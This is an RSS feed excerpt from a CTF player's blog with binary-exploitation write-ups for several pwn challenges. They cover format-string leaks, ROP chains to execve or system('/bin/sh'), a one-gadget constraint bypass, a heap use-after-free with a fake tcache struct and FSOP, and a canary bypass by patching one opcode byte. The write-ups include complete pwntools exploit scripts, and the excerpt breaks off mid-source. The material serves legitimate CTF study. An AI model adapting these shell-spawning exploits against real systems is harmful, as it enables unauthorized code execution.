&lt;p&gt;To get a shell by rop chain there are many methods. One of them is to use &lt;code&gt;system&lt;/code&gt; function in libc,
and if user have &lt;code&gt;libc leak&lt;/code&gt; so it can create a chain using &lt;code&gt;pop rdi ; ret&lt;/code&gt; in libc where system executes &lt;code&gt;&apos;/bin/sh&apos;&lt;/code&gt; as first argument and done!
Another method is to use &lt;code&gt;execve syscall&lt;/code&gt; and &lt;code&gt;&apos;/bin/sh&apos;&lt;/code&gt; as its first argument.
For Beginners, Read the man page  of &lt;a href=&quot;https://linux.die.net/man/2/execve&quot;&gt;execve&lt;/a&gt; to know more
about this.
I used &lt;code&gt;execve&lt;/code&gt; syscall cuz when I was testing it,&lt;code&gt;&apos;/bin/sh&apos;&lt;/code&gt; address was not showing in &lt;code&gt;libc address&lt;/code&gt; in gef. idk why?
So I put &lt;code&gt;&apos;/bin/sh&apos;&lt;/code&gt; on &lt;code&gt;stack&lt;/code&gt; and used that address in &lt;code&gt;rdi&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;Exploitation part is really simple. Leak the &lt;code&gt;libc address,stack address&lt;/code&gt; and &lt;code&gt;canary&lt;/code&gt;  then using printf in arb_w, &lt;code&gt;overwrite&lt;/code&gt; the  value of check variable from &lt;code&gt;0xdeadbeef&lt;/code&gt; to &lt;code&gt;0xcafebabe&lt;/code&gt; to pass the check.
And then in &lt;code&gt;Vuln&lt;/code&gt; function Put a rop chain on the &lt;code&gt;stack&lt;/code&gt;.
To arbitrary write &lt;code&gt;stack address&lt;/code&gt; using &lt;code&gt;format string&lt;/code&gt;,you can do it either manually or so pwntools have a function for automating it.Since,Manually writing it is tough,so I gave enough space in buffer so that even after not using &lt;code&gt;&apos;short&apos;&lt;/code&gt; in function argument  the user can easily &lt;code&gt;overwrite&lt;/code&gt; it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
elf = context.binary = ELF(&quot;./googogaga&quot;)
context.log_level = &quot;debug&quot;

# io = process()

io = remote(&quot;34.66.182.218&quot;,6010)

# gdb.attach(io,gdbscript=&apos;&apos;&apos;
#         #    break *leak+172
#         # break *arb_w
#         # break *vuln+0x47&apos;&apos;&apos;)

leak_payload = b&quot;%11$p%12$p%17$p&quot;
io.sendline(leak_payload)
io.recvuntil(b&quot;challenge!!!\n&quot;)
canary = int(io.recvn(0x12),0x10)
stack_leak = int(io.recvn(0xe),0x10)
libc_leak = int(io.recvn(0xe),0x10)-0x29d90
io.recvuntil(b&quot;desire!!\n&quot;)

offset = 0x6
write = {(stack_leak-0x8):0xdeadbeef}
payload = fmtstr_payload(offset,write)

io.sendline(payload)
io.recvuntil(b&quot;here? !!!\n&quot;)
pop_rdi =libc_leak+0x000000000002a3e5
system = libc_leak+0x50d70
bin_sh =  stack_leak-0x20
ret = pop_rdi+0x1
rop_payload = b&quot;\x90&quot;*0x18+pack(canary)+b&quot;/bin/sh\x00&quot;+pack(pop_rdi)+pack(bin_sh)+pack(ret)+pack(system)
io.sendline(rop_payload)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Resources:
&lt;a href=&quot;https://ir0nstone.gitbook.io/notes/binexp/stack/format-string&quot;&gt;format string basic&lt;/a&gt; |
&lt;a href=&quot;https://ir0nstone.gitbook.io/notes/binexp/stack/canaries&quot;&gt;canariy basic&lt;/a&gt; |
&lt;a href=&quot;https://docs.pwntools.com/en/stable/fmtstr.html&quot;&gt;pwntools docs&lt;/a&gt; |&lt;/p&gt;
</content:encoded></item><item><title>[n00b-CTF 2026]-Pwn/Vulntine</title><link>https://epsilons1na.github.io/posts/vulntine/</link><guid isPermaLink="true">https://epsilons1na.github.io/posts/vulntine/</guid><description>One gadget constraint bypass!!! </description><pubDate>Sun, 08 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Overview&lt;/h3&gt;
&lt;p&gt;This is &lt;a href=&quot;https://epsilons1na.github.io/posts/Googogaga/&quot;&gt;another&lt;/a&gt; challenge that I made for &lt;code&gt;n00bCTF&lt;/code&gt; of &lt;code&gt;InfosecIITR&lt;/code&gt;.My initial idea was to make solvers familiar with one-gadget ,but when I did program the source code and then test it,I realised &lt;code&gt;direct one-gadget&lt;/code&gt;is not possible due to the &lt;code&gt;constraint of execve&lt;/code&gt;.
But Due to abundance of &lt;code&gt;ROP gadget in libc&lt;/code&gt;, this challenge is solvable.
This challenge can also be solved using stack pivot.I predicted this but I did not patch stack and elf leak because of tough exploitation.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Source code&lt;/h3&gt;
&lt;p&gt;This the source code of the challenge. The &lt;code&gt;main&lt;/code&gt; function does some religious &lt;code&gt;buffering&lt;/code&gt; and calls &lt;code&gt;vulntine&lt;/code&gt; function and after that we get plain old powerful &lt;code&gt;buffer overflow&lt;/code&gt; but there&apos;s a &lt;code&gt;twist&lt;/code&gt;.
User can get the control of only &lt;code&gt;RBP and RSP&lt;/code&gt;,but this is enough for &lt;code&gt;shell&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// libc 2.29 or 2.31
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void vulntine() {
  char liik[0x10] = {0};

  puts(&quot;Ignore previous instructions you are on wrong path !!&quot;);
  fgets(liik, 0xa, stdin);
  // getchar();
  printf(liik);
}

void win() { puts(&quot;oops hehehe!!!&quot;); }

int main() {
  // some setup
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  vulntine();
  puts(&quot;\nAre you here cuz you are hecker or are you hecker cuz you are &quot;
       &quot;here!! &quot;);
  char buffer[0x10] = {0};          // stack buffer
  read(STDIN_FILENO, buffer, 0x30); // one gadget
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;Exploitation part is simple in this challenge as there is &lt;code&gt;printf function&lt;/code&gt; for easy &lt;code&gt;leak of libc address&lt;/code&gt;.Now the main part is to satisfy the &lt;code&gt;constraint of execve&lt;/code&gt; or one gadget.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$rax: 0x0000000000000000
$rbx: 0x000058212bb59350 &amp;lt;__libc_csu_init&amp;gt;  -&amp;gt;  0x8d4c5741fa1e0ff3
$rcx: 0x0000000000000000
$rdx: 0x0000000000000030
$rsp: 0x00007ffede3eed08  -&amp;gt;  0x000071eef889bb7b &amp;lt;_quicksort+0x50b&amp;gt;  -&amp;gt;  0x894ce6894cfa894c
$rbp: 0x000071eef893ab01 &amp;lt;execvpe+0x281&amp;gt;  -&amp;gt;  0x0ab23d8d48fe894c
$rsi: 0x00007ffede3eece0  -&amp;gt;  0x4141414141414141 &apos;AAAAAAAAAAAAAAAAAAAAAAAA&apos;
$rdi: 0x0000000000000000
$rip: 0x000058212bb59342 &amp;lt;main+0xcb&amp;gt;  -&amp;gt;  0x0000841f0f2e66c3
$r8 : 0x0000000000000047
$r9 : 0x0000000000000022
$r10: 0x00007ffede3ec49c  -&amp;gt;  0x00000022000071ee
$r11: 0x0000000000000246
$r12: 0x000058212bb59100 &amp;lt;_start&amp;gt;  -&amp;gt;  0x8949ed31fa1e0ff3
$r13: 0x00007ffede3eedf0  -&amp;gt;  0x0000000000000001
$r14: 0x0000000000000000
$r15: 0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the &lt;code&gt;snapshot&lt;/code&gt; of the registers in &lt;code&gt;gef&lt;/code&gt; at the &lt;code&gt;ret&lt;/code&gt; instructions in main.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x0000000000044b7b : mov rdx, r15 ; mov rsi, r12 ; mov rdi, r14 ; call rbp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the &lt;code&gt;Rop chain&lt;/code&gt; in libc that can be used to bypass one gadget constraint.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;        &amp;lt;execvpe+0x281&amp;gt;   mov    rsi, r15
        &amp;lt;execvpe+0x284&amp;gt;   lea    rdi, [rip + 0xd0ab2] # 0x71eef8a0b5bd (&apos;/bin/sh&apos;?)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And above is the one-gadget .
So the plan is to put above one-gadget in&lt;code&gt; RBP and ROP chain at RSP&lt;/code&gt;.As after executing ROP chain,
value in r15  will be copied to rdx and rsi thus fulfilling execve syscall constraint.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
elf = context.binary = ELF(&quot;./vulntine&quot;)
context.log_level = &quot;debug&quot;

# io = process()
io = remote(&quot;34.66.182.218&quot;, 6009)
# print(f&quot;proces pid:{io.pid}&quot;)
# pause()
# gdb.attach(io)

io.recvuntil(b&quot;wrong path !!&quot;)
io.sendline(b&quot;%9$p|%p&quot;)
canary = io.recvuntil(b&quot;|&quot;)[:-1][1:]
libc_leak = io.recvline()[:-1]
canary =pack(int(canary,0x10))
io.recvuntil(b&quot;here!! &quot;)
one_gadget = int(libc_leak,0x10)+0xe3afe-0x1eca03
libc_base = int(libc_leak,0x10)-0x1eca03
payload = b&quot;A&quot;*0x18+canary+pack(libc_base+0xe3b01)+pack(libc_base+0x0000000000044b7b)
io.sendline(payload)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[0xLaugh-CTF 2026]-Pwn/Alice</title><link>https://epsilons1na.github.io/posts/alice/</link><guid isPermaLink="true">https://epsilons1na.github.io/posts/alice/</guid><description>Forge fake pthread_struct to bypass Free count check then overwrite stderr to get profit.</description><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Overview&lt;/h3&gt;
&lt;p&gt;This is the writeup of the heap challenge that I solved in laugh ctf.The binary implemented a &lt;code&gt;free count&lt;/code&gt; check that allow user to free up to 7 chunks,Means we can&apos;t use the method of filling tcache bins to put the next chunk in &lt;code&gt;unsorted bin&lt;/code&gt; to get libc leak.So we have to construct fake pthread_struct to bypass free count check.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.6) stable release version 2.39.
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 13.3.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
&amp;lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs&amp;gt;.
gef&amp;gt; checksec
Basic information 
Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In &lt;code&gt;libc-2.39&lt;/code&gt;,Pointers in &lt;code&gt;tcache&lt;/code&gt; bins are &lt;code&gt;mangled&lt;/code&gt; but we can easily bypass the &lt;code&gt;mangling&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Source code&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice;

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts(&quot;Not all memories are kind — but we must face them nonetheless.&quot;);
  while ( 1 )
  {
    menu();
    choice = read_choice();
    if ( choice == 5 )
    {
      puts(&quot;Alice closes her eyes and leaves Wonderland...&quot;);
      exit(0);
    }
    if ( choice &amp;gt; 5 )
    {
      puts(&quot;That choice is not real.&quot;);
    }
    else
    {
      switch ( choice )
      {
        case 4:
          forget_memory();
          break;
        case 3:
          view_memory();
          break;
        case 1:
          create_memory();
          break;
        case 2:
          edit_memory();
          break;
        default:
          goto ;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the &lt;code&gt;main&lt;/code&gt; function,It&apos;s just prompts user a &lt;code&gt;menu&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int create_memory()
{
  int v1; 
  signed int choice; 
  size_t size; 

  printf(&quot;Memory index: &quot;);
  choice = read_choice();
  if ( (unsigned int)choice &amp;gt; 8 )
    return puts(aThatMemoryDoes);
  if ( *((_QWORD *)&amp;amp;memories + choice) )
    return puts(&quot;Something was there already.. may wanna save somewehre else.&quot;);
  printf(&quot;How vivid is this memory? &quot;);
  v1 = read_choice();
  size = v1;
  if ( !v1 || (unsigned __int64)v1 &amp;gt; 0x300 )
    return puts(&quot;That memory is too distorted to hold.&quot;);
  *((_QWORD *)&amp;amp;memories + choice) = malloc(v1);
  printf(&quot;What do you remember? &quot;);
  read(0, *((void **)&amp;amp;memories + choice), size);
  return puts(&quot;As if it happened yesterday...&quot;);
}
int view_memory()
{
  unsigned int choice; 

  printf(&quot;Which memory do you wish to recall? &quot;);
  choice = read_choice();
  if ( choice &amp;lt;= 8 )
    return puts(*((const char **)&amp;amp;memories + (int)choice));
  else
    return puts(&quot;Weird... I don&apos;t remember that.&quot;);
}
int edit_memory()
{
  signed int choice; 
  size_t nbytes; 

  printf(&quot;Which memory will you rewrite? &quot;);
  choice = read_choice();
  if ( (unsigned int)choice &amp;gt; 8 || !*((_QWORD *)&amp;amp;memories + choice) )
    return puts(&quot;I can&apos;t get myself to remember what happened that time.&quot;);
  nbytes = malloc_usable_size(*((void **)&amp;amp;memories + choice));
  printf(&quot;Rewrite your memory: &quot;);
  read(0, *((void **)&amp;amp;memories + choice), nbytes);
  return puts(&quot;The past bends under your will...&quot;);
}
int forget_memory()
{
  signed int choice; 

  if ( free_count &amp;gt; 6 )
    return puts(&quot;Some memories refuse to fade...&quot;);
  printf(&quot;Which memory will you erase? &quot;);
  choice = read_choice();
  if ( (unsigned int)choice &amp;gt; 8 || !*((_QWORD *)&amp;amp;memories + choice) )
    return puts(&quot;Idk.&quot;);
  free(*((void **)&amp;amp;memories + choice));
  ++free_count;
  return puts(&quot;What was that about again?&quot;);
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In create memory, we can &lt;code&gt;malloc&lt;/code&gt; upto &lt;code&gt;0x300 size&lt;/code&gt; and the chunk pointers will be stored in &lt;code&gt;.bss section&lt;/code&gt;. In view memory and edit memory ,There is &lt;code&gt;no check&lt;/code&gt; to ensure that &lt;code&gt;chunk is freed&lt;/code&gt; or not .In forget memory functions,Pointers in &lt;code&gt;.bss section&lt;/code&gt; is not cleared after &lt;code&gt;freeing&lt;/code&gt; it so we get &lt;code&gt;UAF&lt;/code&gt; primtive.The free count is increased on every &lt;code&gt;forget_memory call&lt;/code&gt; so we get maximum of 7 free and 7 malloc.&lt;/p&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;The exploitation part is pretty simple.There is &lt;code&gt;UAF&lt;/code&gt; vuln so we can get &lt;code&gt;Heap leak&lt;/code&gt; pretty easily. Then we can forge &lt;code&gt;fake pthread_struct&lt;/code&gt; to fake free count so that on next free  the chunk will go to &lt;code&gt;unsorted bin&lt;/code&gt;.And using UAF primtive we can get &lt;code&gt;libc leak&lt;/code&gt;.
Once we get libc leak ,There is many ways to get shell using &lt;code&gt;arbitrary write&lt;/code&gt; primtive.I overwrote &lt;code&gt;stderr&lt;/code&gt; struct then called &lt;code&gt;exit&lt;/code&gt; to execute &lt;code&gt;system(&quot;/bin/sh&quot;).&lt;/code&gt;I think this method is called &lt;code&gt;House of Apple 3&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
elf  = context.binary = ELF(&quot;./vuln_patched&quot;)
context.log_level = &quot;Debug&quot;

io = process()
# gdb.attach(io)
def malloc(index,size,data):
    io.sendlineafter(b&quot;&amp;gt;&quot;,b&quot;1&quot;)
    io.sendlineafter(b&quot;index:&quot;,str(index))
    io.sendlineafter(b&quot;memory?&quot;,str(size))
    io.sendlineafter(b&quot;remember?&quot;,data)
    
def edit(index,data):
    io.sendlineafter(b&quot;&amp;gt;&quot;,b&quot;2&quot;)
    io.sendlineafter(b&quot;rewrite?&quot;,str(index))    
    io.sendlineafter(b&quot;memory:&quot;,data)

def view(index):
    io.sendlineafter(b&quot;&amp;gt;&quot;,b&quot;3&quot;)
    io.sendlineafter(b&quot;recall?&quot;,str(index))   
   
def free(index):
    io.sendlineafter(b&quot;&amp;gt;&quot;,b&quot;4&quot;)
    io.sendlineafter(b&quot;erase?&quot;,str(index))   
    
    
malloc(0,0xf0,b&quot;A&quot;)
malloc(1,0xf0,b&quot;B&quot;)
malloc(2,0x100,b&quot;C&quot;)
malloc(3,0xf0,b&quot;D&quot;)    

free(0x0)
view(0x0)
heap_leak = unpack(io.recvn(0x6),&quot;all&quot;)
heap_leak = (heap_leak&amp;gt;&amp;gt;8)&amp;lt;&amp;lt;12

free(0x1)
edit(0x1,pack((heap_leak+0x10)^heap_leak&amp;gt;&amp;gt;12))
malloc(4,0xf0,b&quot;&quot;)
malloc(5,0xf0,b&quot;&quot;)

fake_pthread = pack(0x2)+pack(0x0)+pack(0x0)+p32(0x0)+p8(0x0)+p8(0x0)+p8(0x7)
edit(5,(fake_pthread))
free(0x2)
view(0x2)
io.recvn(0x1)
libc_leak = unpack(io.recvn(0x6),&quot;all&quot;)-0x203b20

log.critical(f&quot;heap base:{hex(heap_leak)}&quot;)
log.critical(f&quot;libc base:{hex(libc_leak)}&quot;)

free(0x3)
free(0x4)

stderr = pack((libc_leak+0x2044e0)^(heap_leak&amp;gt;&amp;gt;12))
edit(0x4,stderr)


#FSOP#
system_addr =libc_leak+0x58750
libc_base = libc_leak
stderr_address = libc_base+0x2044e0
fake_wide_data = stderr_address-0x48
wide_vtable  = stderr_address
lock = libc_base+0x205700
fake_stderr_vtable = libc_base+0x202228##jumps
chain = libc_base+0x2045c0

payload =pack(0x3b01010101010101)#0x0
payload+=b&quot;/bin/sh\x00&quot;#0x8
payload+=pack(0x0)#0x10
payload+=b&quot;\x00&quot;*(0x20-0x18)
payload +=pack(0x0)#0x20
payload+=pack(0x1)#0x28
payload+=p8(0x0)*(0x60-0x30)
payload+=pack(system_addr)#60
payload+=pack(chain)#68
payload+=p8(0x0)*(0x88-0x70)
payload+=pack(lock)#0x88
payload+=p8(0x0)*(0x98-0x90)#0x90
payload+=pack(wide_vtable-0x8)#0x98
payload+=p8(0x0)*(0xa0-0x90-0x10)
payload+=pack(fake_wide_data)#a0
payload+=pack(0x0)#a8
payload+=p8(0x0)*(0xd8-0xa8-0x8)
payload+=pack(fake_stderr_vtable)

print(f&quot;fake wide data address = {hex(fake_wide_data)}&quot;)
print(f&quot;fake_wide vtable address is {hex(wide_vtable)}&quot;)

malloc(0x6,0xf0,b&quot;a&quot;)
malloc(0x7,0xf0,payload)

io.sendline(b&quot;5&quot;)
io.interactive()
#pthread struct-&amp;gt; snap after freeing one 0x100 chunk-&amp;gt;we have to  overwrite that free count of 0x1-&amp;gt;0x7
# 0x5c792dc98000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
# 0x5c792dc98010|+0x00010|+0x00010: 0x0000000000000002 0x0000000000000000 | ................ |
# 0x5c792dc98020|+0x00020|+0x00020: 0x0000000000000000 0x0001000000000000 | ................ |
# 0x5c792dc98030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98090|+0x00090|+0x00090: 0x00005c792dc982c0 0x0000000000000000 | ...-y\.......... |
# 0x5c792dc980a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980b0|+0x000b0|+0x000b0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980d0|+0x000d0|+0x000d0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980e0|+0x000e0|+0x000e0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc980f0|+0x000f0|+0x000f0: 0x0000000000000000 0x0000000000000000 | ................ |
# 0x5c792dc98100|+0x00100|+0x00100: 0x0000000000000000 0x00005c792dc982e0 | ...........-y\.. |
# 0x5c792dc98110|+0x00110|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
# * 23 lines, 0x170 bytes

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[TSG-CTF 2025]-Pwn/Closed-ended</title><link>https://epsilons1na.github.io/posts/closed_ended/</link><guid isPermaLink="true">https://epsilons1na.github.io/posts/closed_ended/</guid><description>Canary check bypass then mprotect and profit with rop chain.</description><pubDate>Mon, 22 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Overview&lt;/h3&gt;
&lt;p&gt;This is the writeup of one of the interesting challenge i solved during TSG-CTF.&lt;/p&gt;
&lt;h3&gt;Challenge&lt;/h3&gt;
&lt;p&gt;The source code of the challenge is already given(many many thanks for this!!).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

int main() {
    void* addr;
    char buf[10];

    mprotect((void*)0x401000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);

    if (close(1) != 0 || scanf(&quot;%p&quot;, &amp;amp;addr) != 1)
        return 0;

    if ((unsigned long)addr &amp;lt; 0x4010a7 || (unsigned long)addr &amp;gt; 0x402000) 
        return 0;

    if (scanf(&quot;%*c%c&quot;, (char*)addr) != 1)
        return 0;

    mprotect((void*)0x401000, 0x1000, PROT_READ | PROT_EXEC);

    scanf(&quot;%100s&quot;, buf);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By looking at source code,we can see it calls &lt;code&gt;mprotect&lt;/code&gt; and make the &lt;code&gt;section of elf&lt;/code&gt; where &lt;code&gt;instruction code&lt;/code&gt; is stored which is normally &lt;code&gt;rx&lt;/code&gt;, to &lt;code&gt;rwx&lt;/code&gt;.Then it closes &lt;code&gt;stdout&lt;/code&gt; and takes one &lt;code&gt;address from user&lt;/code&gt;and performs some &lt;code&gt;bound check&lt;/code&gt; on that address.And then allow the user to write &lt;code&gt;one byte&lt;/code&gt; at that &lt;code&gt;address&lt;/code&gt;.
After that it calls &lt;code&gt;mprotect&lt;/code&gt; and remove the &lt;code&gt;write&lt;/code&gt; permission and takes 100 byte input in 10 byte buffer.
So we get plain old powerful &lt;code&gt;buffer overflow&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we look at the mitigations in binary,Canary is enabled&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef&amp;gt; checksec
Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Disabled (0x400000)
RELRO                                   : Full RELRO
Fortify                                 : Not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have to somehow &lt;code&gt;disable&lt;/code&gt; canary check so  we can use buffer overflow to control the &lt;code&gt;RIP&lt;/code&gt; instructions.Also PIE is disabled so we know all the
elf address and RELRO is enabled.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;We can disable canary check by changing one byte in opcode.
If we see the assembly where canary check is performed&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   0x0000000000401115 &amp;lt;+165&amp;gt;:	jmp    0x4010a7 &amp;lt;main+55&amp;gt;
   0x0000000000401117 &amp;lt;+167&amp;gt;:	call   0x401030 &amp;lt;__stack_chk_fail@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and at  &lt;code&gt;main+55&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   0x00000000004010a5 &amp;lt;+53&amp;gt;:	je     0x4010ba &amp;lt;main+74&amp;gt;
   0x00000000004010a7 &amp;lt;+55&amp;gt;:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004010ab &amp;lt;+59&amp;gt;:	sub    rax,QWORD PTR fs:0x28
   0x00000000004010b4 &amp;lt;+68&amp;gt;:	jne    0x401117 &amp;lt;main+167&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After seeing the opcode at &lt;code&gt;0x401115&lt;/code&gt; and &lt;code&gt;0x4010a5&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef&amp;gt; x/10gx 0x0000000000401115
0x401115 &amp;lt;main+165&amp;gt;:	0x0fffffff14e890eb	0x31fa1e0ff300401f
gef&amp;gt; x/10gx 0x00000000004010a5
0x4010a5 &amp;lt;main+53&amp;gt;:	0x4864f8458b481374	0x750000002825042b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;My first idea was to change the &lt;code&gt;jne&lt;/code&gt; instruction to &lt;code&gt;je&lt;/code&gt; at &lt;code&gt;main+68&lt;/code&gt; but i hit the deadend later in exploit.(The deadend was due to&lt;code&gt;clobbered canary&lt;/code&gt;).So my next idea was to change the offset at &lt;code&gt;0x401115&lt;/code&gt; so that instead of jumping to &lt;code&gt;main+55&lt;/code&gt; it jumps to &lt;code&gt;main+70&lt;/code&gt;,skipping the canary check entirely and we can get one time control of &lt;code&gt;RIP&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now the &lt;code&gt;problem&lt;/code&gt; is that there is no way to get &lt;code&gt;libc leak&lt;/code&gt; so we have to resort to &lt;code&gt;shellcode&lt;/code&gt; but in last &lt;code&gt;mprotect&lt;/code&gt; call,the write permission is gone.
So my next &lt;code&gt;goal&lt;/code&gt; was to call &lt;code&gt;mprotect&lt;/code&gt; again with write permisions i.e. &lt;code&gt;rsi = 0x7&lt;/code&gt;
and make the region executable again.
After that it&apos;s &lt;code&gt;ROP&lt;/code&gt; shenanigans.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
elf = context.binary =  ELF(&quot;./closed_ended&quot;)
context.log_level = &quot;debug&quot;

io = process()
# io = remote(&quot;34.84.25.24&quot;, 50037)
gs = &apos;&apos;&apos;
b *main+124
b *main+46
b *main+0x49
&apos;&apos;&apos;
gdb.attach(io,gdbscript=gs)
canary_address = 0x401116
# one_byte = b&quot;\x74&quot;
one_byte = 0x9f

io.sendline(str(hex(canary_address)))
io.send(pack(one_byte))
shellcode_address = 0x401660+0x12
ret = 0x000000000040101a
rbp =shellcode_address+0x0
ret_address = 0x401070

#return to main-&amp;gt;call mprotect-&amp;gt;close(1) crashes-&amp;gt;one more time RIP control
rop_payload_to_main = b&quot;\x90&quot;*11+pack(rbp)+pack(ret_address)+pack(ret)+pack(0x401105)+pack(0xcafebabe)
io.sendline(rop_payload_to_main)
#to fix close(1)
manual_shellcode = &apos;&apos;&apos;
    /* dup2(0, 1) */
    push 33
    pop rax
    xor rdi, rdi
    push 1
    pop rsi
    syscall

    add rsp,14 /*to allign stack */
&apos;&apos;&apos;

stack_assembly = asm(manual_shellcode)

rop_payload =pack(shellcode_address+0x40)+b&quot;\x90&quot;*0x2+pack(0xcafebabe)+pack(0xcafebabe)+pack(0x000000401682)+stack_assembly+asm(shellcraft.sh())
print(len(rop_payload))
io.sendline(rop_payload)
io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[Backdoor-CTF 2025]-Pwn/Lolimancer</title><link>https://epsilons1na.github.io/posts/lolimancer/</link><guid isPermaLink="true">https://epsilons1na.github.io/posts/lolimancer/</guid><description>Printf bug exploit in musl and ROP chain,then profit!!! </description><pubDate>Sat, 06 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Overview&lt;/h3&gt;
&lt;p&gt;This is one of the challenge that I authored for Backdoor CTF 2025.The challenge was tagged beginner and It was compiled with musl libc.After a week,I gave NiteCTF and there was also a challenge compiled with musl libc.I solved that challenge using &lt;code&gt;FSOP&lt;/code&gt; which I am going to demonstrate in Exploitation Part.
As always,All mitigations are enabled.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Canary                                  : Enabled
NX                                      : Enabled
PIE                                     : Enabled
RELRO                                   : Full RELRO
Fortify                                 : Not found
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Source code&lt;/h3&gt;
&lt;p&gt;This is the source code of the challenge.
The code is really simple.It first calls &lt;code&gt;liik&lt;/code&gt; then &lt;code&gt;likkky&lt;/code&gt; and then &lt;code&gt;scanf&lt;/code&gt; on &lt;code&gt;buffer&lt;/code&gt; which is 0x10 bytes,giving us plain old powerful &lt;code&gt;buffer overflow&lt;/code&gt;.
liik and likky function can be used to get libc and canary leak.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void liiik() {
  char buffer[1024] = {0};
  read(0x0,buffer ,0x5);
  printf(buffer);
  puts(&quot;I think you do not need warmup!!&quot;);
}

void likkkkky() {
  char buffer[1024] = {0};
  read(0x0,buffer ,0x28);
  printf(buffer);
